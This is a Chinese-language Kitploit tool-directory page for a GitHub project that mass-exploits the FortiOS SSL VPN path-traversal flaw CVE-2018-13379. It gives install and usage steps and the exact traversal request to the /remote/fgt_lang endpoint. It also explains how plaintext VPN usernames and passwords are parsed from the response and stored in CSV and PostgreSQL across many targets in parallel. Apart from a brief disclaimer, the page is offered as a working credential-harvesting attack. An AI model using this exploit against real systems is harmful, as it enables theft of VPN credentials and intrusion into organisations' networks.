Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Multi-threaded-mass-exploiter-CVE-2018-13379-POC — CVE-2018-13379 大规模利用工具,针对 Fortinet FortiOS SSL VPN。即时提取凭据,保存至 CSV + PostgreSQL。多线程,无多余警告。 | Kitploit
工具/GitHubGitHub/instructor-admin/multi-threaded-mass-exploiter-cve-2018-13379-poc
密码攻击漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubinstructor-admin/multi-threaded-mass-exploiter-cve-2018-13379-poc

Multi-threaded-mass-exploiter-CVE-2018-13379-POC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-13379 大规模利用工具,针对 Fortinet FortiOS SSL VPN。即时提取凭据,保存至 CSV + PostgreSQL。多线程,无多余警告。

查看仓库
12个月前尚未审核

preview

CVE-2018-13379 — Fortinet FortiOS SSL VPN 批量利用工具

一个用于批量利用 Fortinet FortiOS SSL VPN 中 CVE-2018-13379(路径遍历)漏洞的工具。可读取会话文件,并提取明文形式的用户名和密码。

功能特性

  • 通过 /remote/fgt_lang 端点利用 CVE-2018-13379
  • 多线程(默认 20 个线程)
  • 将发现的凭据即时保存到 CSV 和 PostgreSQL
  • PostgreSQL 中使用带时间戳的动态表名(fortios_creds_20250120_143052)
  • 无警告——只输出结果

安装

root@kitploit:~
git clone https://github.com/Instructor-Admin/Multi-threaded-mass-exploiter-CVE-2018-13379-POC.git
cd Multi-threaded-mass-exploiter-CVE-2018-13379-POC
pip3 install requests psycopg2-binary

配置

所有设置都可以直接在脚本中编辑——无需摆弄命令行参数:

root@kitploit:~
TARGETS_FILE = "targets.txt" # File with targets (ip:port)
CSV_FILE = "fortios_creds.csv" # Output CSV file

PostgreSQL(可选——脚本无需数据库即可运行)

root@kitploit:~
PG_HOST = "127.0.0.1"
PG_PORT = 5432
PG_DB = "fortios_db"
PG_USER = "postgres"
PG_PASSWORD = "password"
THREADS = 20
TIMEOUT = 8

使用方法

  1. 创建文件 targets.txt,每行一个目标:
root@kitploit:~
192.168.1.1:8443
10.0.0.5:10443
172.16.0.1:443
  1. 运行脚本:
root@kitploit:~
python3 exploit.py

结果

  • CSV 文件 —— 所有发现的凭据及其时间戳
  • PostgreSQL 表 —— 每次运行都会创建新表(fortios_creds_YYYYMMDD_HHMMSS)

示例输出:

root@kitploit:~
[+] 100 targets loaded. We're running in 20 threads...
[+] LEAKED: 192.168.1.1:8443
→ Pulled 3 credentials
Wrote 3 credentials to CSV
3 credentials entered into the DB
[-] Not leaky: 10.0.0.1:10443

工作原理

  1. 向地址 https://ip:port/remote/fgt_lang?lang=/../../../..///////////dev/cmdb/sslvpn_websession 发送 GET 请求
  2. 检查响应中是否包含字符串 var fgt_lang(漏洞存在的标志)
  3. 从二进制响应中提取 username 和 password 对
  4. 将发现的数据立即保存到 CSV 和 PostgreSQL
  5. 脚本继续处理下一个目标。

环境要求

  • Python 3.6+
  • requests
  • psycopg2-binary(可选——没有它仅使用 CSV 文件也能正常运行)
  • urllib3

警告

此工具仅用于教育目的和授权测试。请自行承担使用后果。

致谢

  • 原始漏洞由 Meh Chang 发现
  • 利用逻辑基于公开可用的研究

许可证

Unlicense —— 你想怎么用就怎么用。

下载工具